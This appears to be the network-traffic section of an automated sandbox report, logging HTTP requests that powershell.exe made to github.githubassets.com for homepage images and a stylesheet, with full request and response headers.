X-Fastly-Request-ID: 06a4cc1b4d3316adfbdde959a44786b19c3c865d
GET

https://github.githubassets.com/images/modules/site/home-campaign/logos/kpmg.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/logos/kpmg.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 2777
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Mon, 07 Nov 2022 10:15:20 GMT
ETag: "bf36d616e9bfb098018c8f42c76ba198"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 1550
X-Served-By: cache-iad-kcgs7200020-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 7145, 6
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 7eb6f90f926601172ead3eb7973ca3a4a08f3160
GET

https://github.githubassets.com/images/modules/site/home-campaign/logos/pg.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/logos/pg.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 2848
Last-Modified: Mon, 07 Nov 2022 10:15:20 GMT
ETag: "8bbe349e718990abf24d344210d0b9b6"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 3956
X-Served-By: cache-iad-kcgs7200099-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 62254, 8
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 59264e209515851901cbb284f18ff83b5dbe67dc
GET

https://github.githubassets.com/images/modules/site/home/globe.jpg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home/globe.jpg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 121231
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/jpeg
Etag: "Pz1A1BX4xrTJd75rth+348XiCitOesvxsL2n7W68iPU"
Fastly-Io-Info: ifsz=121231 idim=1238x1404 ifmt=jpeg ofsz=121231 odim=1238x1404 ofmt=jpeg
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 3952
X-Served-By: cache-iad-kiad7000066-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 51, 1
Vary: Accept
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 6fe402231ffe306269c78d20515b7caa012636bc
GET

https://github.githubassets.com/images/modules/site/home-campaign/git-branch-productivity.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/git-branch-productivity.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3106
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Thu, 27 Oct 2022 14:15:22 GMT
ETag: "3b88d1108e1e3e0c3f12f3757953ecb5"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 4124
X-Served-By: cache-iad-kcgs7200138-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 127984, 8
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: e2a7548ce2eeca30fdaa833f30d00843c03fecf8
GET

https://github.githubassets.com/images/modules/site/codespaces/illo-cursor.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/codespaces/illo-cursor.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 751
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "Bash3G/oCeUr4LSz/wX4ADBt7wWQrTHclsyXChEyh0E"
Fastly-Io-Info: ifsz=751 idim=60x96 ifmt=png ofsz=751 odim=60x96 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 3075
X-Served-By: cache-iad-kcgs7200117-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 9885, 3
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c0984049cc6585689c2121752f22b5707cb8e06a
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-actions.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-actions.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 107359
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "49/Ex1/XM4fTLD+rKQAIEmNQt5+uoLRnpWQB0JDD74w"
Fastly-Io-Info: ifsz=107359 idim=1209x890 ifmt=png ofsz=107359 odim=1209x890 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 538
X-Served-By: cache-iad-kjyo7100093-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 818, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 47e10e1072973c50bda9304d95b5dff94e5a03f2
GET

https://github.githubassets.com/images/modules/site/issues/illo/issues-plan.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/issues/illo/issues-plan.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 131519
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "1aLYrJC3CyrZk3jrOiai0mCpBqWM3Rrk9NgGCEHyEFk"
Fastly-Io-Info: ifsz=131519 idim=2500x1500 ifmt=png ofsz=131519 odim=2500x1500 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 3696
X-Served-By: cache-iad-kcgs7200084-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 694, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: da208db16bf7bc942880393f7dc35c1b9ca3458d
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-projects.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-projects.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 42122
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "kr77ySZxQCQEPvI7sQF3BM3VmS34poJSGqZVDZXLA8o"
Fastly-Io-Info: ifsz=42122 idim=1190x1004 ifmt=png ofsz=42122 odim=1190x1004 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 5298
X-Served-By: cache-iad-kjyo7100044-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 432, 6
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 44323a91ed88023320c01efe6edd55fe17b1e770
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-pull-requests.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-pull-requests.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 45452
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "aDERJPDylaLgHizGUE9jzBpOURRiGQh3gWfGWSSdAvU"
Fastly-Io-Info: ifsz=45452 idim=1208x764 ifmt=png ofsz=45452 odim=1208x764 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 3435
X-Served-By: cache-iad-kcgs7200152-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 370, 2
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 3fe6d86727e7d2a2b213603950bbee70ba624bb3
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/prophen.jpeg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/prophen.jpeg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 6448
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/jpeg
Etag: "mqkOdnWDyRNnkip8GaNSJmAQY1Npa7Skzm04p6NnZY4"
Fastly-Io-Info: ifsz=6448 idim=192x192 ifmt=jpeg ofsz=6448 odim=192x192 ofmt=jpeg
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 3056
X-Served-By: cache-iad-kiad7000128-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 403, 1
Vary: Accept
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 32e1da9b97f10a999674407ab86e6a3f676b5ef5
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/dayhaysoos.jpeg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/dayhaysoos.jpeg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 6361
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/jpeg
Etag: "awzufHkK/CiR3qIpk0W9MjZXQl8Hs39js2HBndzon54"
Fastly-Io-Info: ifsz=6361 idim=192x192 ifmt=jpeg ofsz=6361 odim=192x192 ofmt=jpeg
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 476
X-Served-By: cache-iad-kjyo7100081-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 29, 1
Vary: Accept
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 790ec762fdc746beb4a8b1a1f551000fbc3bd827
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/yyx990803.jpeg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/yyx990803.jpeg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 7993
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/jpeg
Etag: "9oRuxnrMRihPbr+9Jpok9UdjIkJqonAk8/a9WgECwhs"
Fastly-Io-Info: ifsz=7993 idim=192x192 ifmt=jpeg ofsz=7993 odim=192x192 ofmt=jpeg
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 3576
X-Served-By: cache-iad-kiad7000124-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 282, 1
Vary: Accept
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 732b4f8d293d0b01342fb63046c527217ac6d957
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/directus.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/directus.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 8268
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "hphAXGBgULAU32I6UukhRY3JyaOLsQ1ntuH0WUqjA+4"
Fastly-Io-Info: ifsz=8268 idim=192x192 ifmt=png ofsz=8268 odim=192x192 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 1917
X-Served-By: cache-iad-kiad7000120-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 268, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: eec4fe34badfadf044cc0c4828b176c7126f3a31
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-ghas-list.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-ghas-list.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 31585
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "seM5hSrdjuY4vNXV4dTuyl7scLl7rq24SO8CtvYyvbI"
Fastly-Io-Info: ifsz=31585 idim=1081x600 ifmt=png ofsz=31585 odim=1081x600 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 5465
X-Served-By: cache-iad-kjyo7100050-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 2808, 6
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: b711d29afaf2ccc1d9432fb57b9b247d1daae87d
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-dependabot.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-dependabot.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 60260
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "E1Lzvi/fy495D+LDuffpxoyGf54j/QNGUtyNKhYe8m8"
Fastly-Io-Info: ifsz=60260 idim=1208x870 ifmt=png ofsz=60260 odim=1208x870 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 517
X-Served-By: cache-iad-kjyo7100163-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 306, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 735c61b7e896c387b1eb5ae4f3bc6d8a855b7f76
GET

https://github.githubassets.com/images/modules/site/home-campaign/footer-galaxy.jpg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/footer-galaxy.jpg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 89026
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/jpeg
Etag: "N1+ZBal22e+Qbh3Hd4ilDwozH4bdi8eoIeXhWp33G3g"
Fastly-Io-Info: ifsz=89026 idim=4085x2064 ifmt=jpeg ofsz=89026 odim=4085x2064 ofmt=jpeg
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 1537
X-Served-By: cache-iad-kiad7000113-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 181, 1
Vary: Accept
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 2641e81fd56e761560c2a5f24daa729e374304b9
GET

https://github.githubassets.com/images/modules/site/icons/footer/x.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/icons/footer/x.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 394
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Fri, 08 Sep 2023 09:57:36 GMT
ETag: "edb65c30696cba8233bfae239a29bbc8"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 1888
X-Served-By: cache-iad-kiad7000073-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 2, 4
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 84b39dc48340a78b8233ef3483d05573a491e11f
GET

https://github.githubassets.com/images/modules/site/icons/footer/linkedin.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/icons/footer/linkedin.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 245
Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT
ETag: "cb0b17537194c77c2e788e803b548863"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 2853
X-Served-By: cache-iad-kiad7000036-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 179848, 7
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 078dee4ebb47e36e1061699248c5aaba6ab51cbd
GET

https://github.githubassets.com/images/modules/site/icons/footer/twitch.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/icons/footer/twitch.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 318
Last-Modified: Mon, 22 Aug 2022 19:15:39 GMT
ETag: "a4a843f2fb9481138cb2c85431e1a179"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:39 GMT
Age: 623
X-Served-By: cache-iad-kcgs7200062-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 151108, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 5ebaaaee21f5cc05fd80acb8a3e89c7599065e02
GET

https://github.githubassets.com/images/modules/site/icons/footer/github-mark.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/icons/footer/github-mark.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 701
Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT
ETag: "0d73b144641217a5177a9898fb786529"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:39 GMT
Age: 4258
X-Served-By: cache-iad-kcgs7200076-IAD, cache-ams21066-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 105333, 10
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: bc2ec515d2e0f6955bb8873f5b6f5e567ad48277
GET

https://github.githubassets.com/assets/dark-5d486a4ede8e.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/dark-5d486a4ede8e.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4569
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 21 Aug 2023 18:58:04 GMT
ETag: "19436877f89e60010b7bdc2997dd75f1"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:31 GMT
Age: 795460
X-Served-By: cache-iad-kjyo7100026-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 17, 54558
